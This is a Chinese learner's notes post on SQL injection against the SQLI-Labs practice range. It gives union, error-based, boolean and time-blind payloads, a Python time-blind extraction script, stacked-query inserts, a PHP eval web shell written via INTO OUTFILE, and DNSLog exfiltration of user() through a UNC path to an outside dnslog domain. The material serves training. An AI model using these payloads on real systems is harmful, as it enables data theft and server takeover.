web安全基础--SQL注入笔记

课程学习:https://www.bilibili.com/video/BV1VA411u7Tg?p=9

数据库

基础操作

登录:C:\WINDOWS\system32>mysql -uroot -p

查看库名show databases

创建数据库create database 库名

删除数据库drop database 库名

使用(切换)数据库use 库名

建立表create table 表名('id' 数据类型,...);

查看表的结构desc 表名;

插入Insert into 表名 values('id','值');

删除delete from 表名 where XXXX;

更新(修改)update 表名 set name='x' where id=3;

查询select * from 表名

常用变量函数

**database()**查看当前数据库名

**user()**查看当前用户名

**version()**查看mysql版本

@@basedir查看安装路径

例如select database();

常用符号

&:and

|| :or

^:xor

常用函数

字符串截取:

substr(database(),1,1)

subtring

mid(database(),1,1)

left(database(),1)

编码函数

ascii()

hex()

char()ascii()的逆函数

文件函数

load_file()读取文件内容

SQL注入

概念以及危害

对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾,添加额外的SQL语句

危害:数据库信息泄露、网页篡改、数据库被恶意操作、服务器被远程控制

最简单

情景

$id = $_GET['id'];
$sql = "select * from data where id = $id;

注入方法:id = 1 or 1=1

SQL注入起手式

闭合

例子:

$id = $_GET['id'];
$sql = "select * from data where id = "'".$id."'";

注入方法:id=1'#或者1'-- -或者1' or '1'='1

常见的利用注释闭合的方法,注释有:
%23也就是#,--+,或者-- a在–空格后面有东西就行,;%00,`反引号

或者利用\来将后面单引号进行转义

例如select * from data where username='\'and password=' or 1=1 ;%00'

搭建SQLI-Labs靶场

获取码源

http://github.com/Rinkish/Sqli_Edited_Version

doker可以一键搭建环境d run -p 30001:80 -d acgpiano/sqli-labs

但是我没有嘿

用phpstudy pro搭建

首先将网站设置里的路径改到相对应的路径

然后在主要打开阿帕奇和mysql

注意还需要在sql-connections里.inc文件里加上自己的密码(这里我改的和用户名一样是root)(一开始尝试了改用户名和密码都为admin,然后在初始化的时候就报错了,后来尝试改会原来的用户名就好了)

然后就可以在浏览器直接localhost就可以打开了(也可以输入127.0.0.1)

在这里插入图片描述

然后要初始化,也就是第一行

返回这个页面,下面是有一些通关的

注意有的是需要Linux环境的,所以其实最好用doker

SQL的常见姿势

联合查询注入

基本要求:查询列数必须一致,查询语句的查询的各列类型、顺序最好一致

步骤:闭合、判断字段数

order by 的使用

select * from users order by 3

发现当order by 1的时候id是按照1-14的顺序正常输出的,但是当为2或者3的时候就不是按顺序了(其实是换成了按照第2列第3列的顺序排列的),而当是4是,就会报错没有第四列

所以就可以利用order by判断一共有多少字段

例题,靶场第一关,直接/?id=1就能够得到用户名和密码,然后?id=Dumb&passwd=Dumb就算是通过了

但是我们这是是想要在这里测试一下order by的用法

发现/?id=1' order by 4-- +的时候会报错Unknown column ‘4’ in ‘order clause’,但是1-3都不会报错,所以这个数据库也是只有3列

union操作符

用于合并两个或多个

还用上面的环境/?id=1' union select 1,2,3 -- +这次是只有1,2,3这样才可以,其他什么1,2或者1,2,3,4都会报错

然后在数据库测试就会发现,select * from users where id='1' union select 1,2,3;会的得到两行1 Dumb Dumb和1 2 3;如果想要我们的1 2 3在第一行,可以用select * from users where id='-1' union select 1,2,3;就是让第一个匹配的结果是空的

在127.0.0.1靶场第一关中测试

发现/?id=1' union select 1,2,3--+/?id=1' union select 1,2,3--+得到的结果是一样的,但是/?id=-1' union select 1,2,3--+就可以输出名字为2密码为3

/?id=-1' union select 1,2,3;发现可以输出2和3,1是不能输出的,也就是文件输出位置是从2开始的,所以我们想要执行的语句要放在2或者3的位置

例如/?id=-1' union select 1,2,database()--+运行可以得到,用户名是2,密码是security,这里security就是当前数据库的名字

爆库、爆表、爆列

information_schema数据库

use information_schema;使用这个数据库(这个数据库是MySQL自带的)

show tables;查看其中的表

主要关注tables以及columns两个表

information_schema数据库提供源数据(数据库的数据)的访问

例如select * from tables就可以看到数据库中所有的表名及基本信息

爆库名

union select 1,2,database();

爆表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

其中table_schema=database();用于筛选出当前数据库

或者

union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database()

爆column名

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()

使用

可以看出利用上述方法可以将数据库里所有能输出的都输出来

例子看一下,比如我们想要得到注册用户的邮箱

/?id=-1' union select 1,2,group_concat(email_id) from emails--+

就可以得到:[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected]

group_concat() 函数将所有结果用逗号间隔拼接变成一个语句

报错注入

在没办法用union联合查询并且没有过滤掉一些关键函数的时候,人为制造一些错误来使得查询结果能出现在报错信息中,注意报错注入有长度限制(32位),不同的函数限制不一样

updatexml

更新xml文档的函数

语法:updatexml(文档类型,xpath路径,更新的内容)

extractvalue

对xml文档进行查询的函数

语法:extractvalue(文档类型,xpath路径)

报错原理

路径写入其他格式,就会报错并且会返回我们写入的非法格式的内容,我们可以利用这个得到我们想得到的内容

详细例子

select * from users where id=1 and updatexml('1','/etc','1');

这是正常路径,会正常返回users表第一行

但是select * from users where id=1 and updatexml('1','~etc','1');路径不对的时候就会报错,并且会显示错误内容

在浏览器中(依旧在靶机第一关中尝试)/?id=-1' and updatexml(0x0a,concat(0x0a,(select database())),1)--+就会报错显示XPATH syntax error: ’ security’

这里0x0a跟1用处其实一样,%0a是换行符的意思,主要是要记得加concat

注:这里重点是在后面报错,所以前面id可以等于1,但是单引号以及后面的–+是不能省略的

关于限制长度的解决办法

比如限制输出32位,可以用函数一次输出32位,下一次下32位这样输出

或者可以顺序输出和倒序输出相结合的方式

盲注

布尔盲注

用SQLI-labs靶机第八关作为环境

我们发现id=1时输出You are in …

尝试输入其他的,发现要么时You are in …要么是啥也没有

意思是只有两种输出一种是永真,一种是永假

这种可以通过网页上的两种不同回显的注入,称为布尔盲注

涉及函数:substr(database(),1,1) 截取当前数据库的第一位;ascii() ASCII编码

所以,比如我们知道这里database()第一个字母是s,ascii码是115,所以/?id=1' and (ascii(substr(database(),1,1))>1)--+就会发现成功回显You are in …,而当/?id=1' and (ascii(substr(database(),1,1))<1)--+的时候就不会回显

然后就可以根据这个特点一位一位爆破

时间盲注

发现/?id=1' and 0--+/?id=1' and 1--+得到的结果是一样的,都是永真

但是在第八关中/?id=1' and 0--+回显是永假的,不能用这个

这里用到的环境是第九关

但是第九关好像输入啥都是回显You are in …

这里用burpsuite抓包看一下,当语句正确也就是/?id=1' and 1--+的时候

在这里插入图片描述

但是当/?id=1' and 0--+

在这里插入图片描述

然后这里用if函数与sleep函数

/?id=1' and if(1,sleep(3),0)--+尝试,抓包转request,发送发现会有3秒的延时,也就是If语句里的东西被运行了

这种可以通过时间差异导致的两种不用的回显的注入,称为时间盲注

有五种方式:sleep()函数、benchmark、笛卡尔积等

if语句

if(expr1,expr2,expr3)

如果expr1是TRUE,则返回expr2;否则返回expr3

所以这里expr1=1就会触发sleep函数,延时3秒

然后当/?id=1' and if(0,sleep(3),0)--+的时候就不会延时3秒

上面两种不同的回显是指,一个延时3秒一个不延时

所以跟上面一样就可以在一位一位爆破,当延时3秒就是对的

或者也可以用其他函数

benchmark

例如select benchmark(1000000,sha(1));是指进行10000000次sha(1)操作,正常的话会直接结束,因为做不到,差不多用时3秒

利用大量benchmark操作可以达到延时的目的

笛卡尔积

例如select if(1=1,(select count(*) FROM information_schema.tables A,information_schema.columus B),0);

差不多会运行二十几秒

爆破思路

手动爆破、Burp suite爆破、python脚本爆破

时间盲注python脚本例子
import requests
import time

headers = {
    
    "Sec-Fetch-Site": "none", "Sec-Fetch-Dest": "document", "Sec-Fetch-User": "?1",
                      "Upgrade-Insecure-Requests": "1","Sec-Fetch_Mode": "navigate"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
    Url = 'http://127.0.0.1/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
    UrlFormat = Url.format(l)      #format()函数使用
    start_time0 = time.time()  		#发送请求前的时间赋值
    requests.get(UrlFormat,headers=headers)
    if  time.time() - start_time0 > 2:	#判断正确的数据库长度
            print('database length is ' + str(l))
            global length 
            length = l	#把数据库长度赋值给全局变量
            break
    else:
        pass
for i in range(1,length+1):
    for char in chars:
        charAscii = ord(char) #char转换为ascii
        url = 'http://127.0.0.1/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        requests.get(urlformat,headers=headers)
        if  time.time() - start_time > 2:
            database+=char
            print('database: ',database)
            break
        else:
            pass
print('database is ' + database)

堆叠注入

在sqli-labs靶场第一关的题目代码是这样的

$sql="SELECT * FROM users WHERE id='$id' LINK 0,1";

$resulr=mysqli_query($con,$sql);

而第三十八关是这样的

$sql="SELECT * FROM users WHERE id='$id' LINK 0,1";

$resulr=mysqli_multi_query($con,$sql);

只是加了一个multi,这个意思是可以执行多条sql语句

注入代码/?id=1'insert into users values('114',database(),'hahaha');--+

这样执行完之后就可以用/?id=114来登录并且显示database()了

文件读写

mysql默认是不支持的,所以需要先更改一下配置,phpstudy_pro设置里面配置文件中mysql.ini中选择现在使用版本的mysql

在其中增加secure-file-priv=然后重启数据库就可以了

在这里插入图片描述

常用函数

文件读取函数:

Load_file('文件路径')注意是绝对路径

写文件函数

into outfile

into dumpfile

使用

select '<?php eval($_POST[cmd]);?>' into outfile '绝对路径'

区别

into outfile函数会在行末端写入新行更致命的是会转义换行符,所以利用mysql写一些dll或者其他二进制可执行文件,那么这个文件可能会被破坏

这时候我们用into dumpfile就能导入一个完整能执行的二进制文件

注意

写文件的时候要求文件原本不存在

不管都还是写都需要有权限才能做到

路径都要求是绝对路径

写shell

不推荐在win下

绝对路径全靠猜

例子

/?id=-1' union select 1,'<?php phpinfo();?>',3 into OUTFILE "H:\\phpstudy_pro\\www\\cms\\Sqli_Edited_Version\\sqlilabs\\Less-7\\shell.php"--+

DNSLog

设想一个环境,存在sql注入,但是ban掉了延时函数,且没有回显,并且在win下猜不到web目录

这就要用到dnslog了

靶机环境可以还使用上面第三十八关

有一个网站,dnslog.cn可以通过get subdomain获得一个域名

在靶机中用/?id=-1';select 1,2,LOAD_FILE(GROUP_CONCAT('\\\\',substr(user(),2,1),'.域名\\abc'));;--+

在dnslog.cn中就能收到这里发送的请求

其中\有转义字符的意思,所以concat连接的第一部分其实是\\,然后substr取了user()从第二个字符开始取一个字符,然后user()=root,所以第二部分是o

然后这里连起来就是一个unc路径

UNC路径

只存在于win中

格式类似于\\servername\sharename其中servername是服务器名,sharename是共享资源的名称。

DNS请求

访问unc路径会对域名发送dns请求

例如上面\\o.域名\abc我们会收到这个请求,所以可以将我们想得到的信息放到o这个位置上,并且上面也测试了,这个位置可以用sql语句

猜你喜欢

转载自blog.csdn.net/m0_57291352/article/details/124557310
今日推荐